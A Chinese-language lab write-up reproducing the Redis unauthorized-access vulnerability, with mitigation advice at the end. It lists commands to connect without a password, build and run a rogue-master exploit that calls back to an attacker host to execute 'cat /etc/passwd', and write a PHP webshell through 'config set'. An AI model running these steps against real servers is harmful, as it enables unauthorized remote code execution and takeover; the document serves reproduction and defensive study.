漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。
漏洞影响版本
Redis 4.x/5.0.5以前版本
漏洞复现
未授权访问远程连接
将redis_cli压缩包放置kali攻击机解压
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd redis-2.8.12/src/
./redis-cli -h 目标ip
?info命令查看redis服务器相关信息
?使用现有exp实现远程代码执行
克隆exp项目,不成功的话,到网站下载安装包,在kali中解压
git clone https://github.com/vulhub/redis-rogue-getshell.git
进入目录
cd redis-rogue-getshell-master/RedisModulesSDK/exp
?编译生成exp,在当前目录下生成一个exp.so文件 ??
make
?
?查看信息,在redis-rogue-getshell-master目录下
./redis-master.py -r 192.168.254.131 -p 6379 -L 192.168.254.128 -P 1111 -f RedisModulesSDK/exp/exp.so -c "cat/etc/passwd"
//第一个ip是靶机,第二个ip是攻击机
写入webshell
config set dir /var/tmp //指定工作目录
config set dbfilename tyc.php //设置数据库文件名
set trojan "<?php phpinfo();?>" //追加写入tyc.php文件内容
save
?查看靶机,上传成功
漏洞防御
禁止绑定公网(本地缓存)
redis.conf: bind 127.0.0.1 //redis本来就是作为内存数据库,只要监听在本机即可
密码验证
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
降权运行
禁止使用 root 权限启动 redis 服务
|